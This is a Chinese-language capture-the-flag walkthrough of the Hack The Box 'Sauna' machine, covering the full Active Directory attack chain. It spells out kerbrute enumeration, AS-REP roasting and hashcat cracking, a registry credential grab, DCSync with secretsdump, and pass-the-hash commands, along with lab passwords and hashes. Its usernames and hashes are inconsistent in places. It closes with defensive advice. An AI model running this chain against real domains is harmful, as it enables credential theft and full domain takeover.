AD-Sauna详解
字数 1422 2025-08-12 11:34:44
AD-Sauna域渗透实战详解
0x00 前言
本文详细记录了Hack The Box中Active Directory 101系列靶机"Sauna"的渗透过程,涵盖了从信息搜集到最终获取域管理员权限的全流程。通过本案例,我们将学习到多种域渗透技术和工具的使用方法。
0x01 信息搜集阶段
1.1 端口扫描与服务识别
使用nmap进行初始扫描,发现以下关键开放端口:
53/tcp - DNS
80/tcp - IIS HTTP服务
88/tcp - Kerberos
135/tcp - MSRPC
139/tcp - NetBIOS
389/tcp - LDAP
445/tcp - SMB
5985/tcp - WinRM
1.2 LDAP枚举
使用nmap脚本进行基本LDAP枚举:
nmap --script "ldap*" -p 389 10.10.10.175
深入LDAP查询命名上下文:
ldapsearch -x -h 10.10.10.175 -s base namingcontexts
1.3 DNS区域传输尝试
尝试进行DNS区域传输:
dig axfr @10.10.10.175 egotistical-bank.local
dig axfr @10.10.10.175 sauna.htb
1.4 SMB枚举
尝试匿名访问SMB共享,未发现有用信息。
1.5 Kerberos用户枚举
从HTTP页面收集到的用户名列表:
- Fergus Smith
- Shaun Coins
- Hugo Bear
- Steven Kerb
- Bowie Taylor
- Sophie Driver
使用kerbrute进行用户名枚举:
kerbrute_linux_amd64 userenum --dc 10.10.10.175 -d egotistical-bank.local user.txt
成功枚举出有效用户名:hsmith
0x02 AS-REP Roasting攻击
2.1 识别无预认证用户
使用GetNPUsers.py检查AS-REP Roasting漏洞:
GetNPUsers.py -dc-ip 10.10.10.175 egotistical-bank.local/ -usersfile username.txt
发现hsmith用户未启用Kerberos预认证。
2.2 获取并破解TGT票据
获取到的TGT票据hash:
$krb5asrep$hsmith@EGOTISTICAL-BANK.LOCAL:...
使用hashcat破解:
hashcat -m 18200 hashfsmith /root/rockyou.txt --force
成功破解出明文密码:Thestrokes23
2.3 通过WinRM登录
使用evil-winrm登录:
evil-winrm -u fsmith -p Thestrokes23 -i 10.10.10.175
0x03 注册表读取获取凭证
3.1 查询注册表
在已获得的shell中查询Winlogon注册表项:
reg.exe query "HKLM\software\microsoft\windows nt\currentversion\winlogon"
发现存储的凭证:
DefaultDomainName: EGOTISTICALBANK
DefaultUserName: EGOTISTICALBANK\svc_loanmanager
DefaultPassword: Moneymakestheworldgoround!
3.2 使用新凭证登录
使用evil-winrm以svc_loanmanager身份登录:
evil-winrm -u svc_loanmanager -p 'Moneymakestheworldgoround!' -i 10.10.10.175
0x04 BloodHound信息收集
4.1 上传并执行SharpHound
在已获得的shell中:
upload SharpHound.exe
./sharphound.exe
download 20221010054109_BloodHound.zip
4.2 分析BloodHound数据
发现svc_loanmanager用户具有以下关键权限:
- 可执行DCSync攻击
- 可复制域控的目录服务数据
0x05 DCSync提权
5.1 使用secretsdump.py执行DCSync
secretsdump.py 'svc_loanmgr:Moneymakestheworldgoround!@10.10.10.175'
获取到的管理员NTLM hash:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
5.2 哈希传递攻击
方法1:使用wmiexec.py
wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e EGOTISTICAL-BANK.LOCAL/administrator@10.10.10.175
方法2:使用psexec.py
psexec.py -hashes 'aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e' -dc-ip 10.10.10.175 administrator@10.10.10.175
方法3:使用evil-winrm
evil-winrm -i 10.10.10.175 -u administrator -H e19ccf75ee54e06b06a5907af13cef42
0x06 技术总结
-
信息收集阶段:
- 全面扫描识别开放服务
- LDAP枚举获取域结构信息
- Kerberos用户枚举确定有效账户
-
AS-REP Roasting攻击:
- 识别未启用预认证的用户
- 获取并破解TGT票据
- 通过WinRM获得初始立足点
-
凭证升级:
- 通过注册表读取获取更高权限账户
- 使用BloodHound分析域内权限关系
-
最终提权:
- 利用DCSync攻击获取域管理员哈希
- 通过多种方式(PTH)获取域控完全控制权
0x07 防御建议
-
防止AS-REP Roasting:
- 为所有用户启用Kerberos预认证
- 实施强密码策略
-
保护凭证存储:
- 禁用注册表中的凭证存储
- 使用LSA保护机制
-
限制DCSync权限:
- 严格控制具有复制目录更改权限的账户
- 监控DCSync活动
-
增强监控:
- 部署SIEM监控异常Kerberos活动
- 记录和分析LDAP查询
通过本案例,我们系统性地学习了从初始信息收集到最终获取域控权限的完整攻击链,以及相应的防御措施。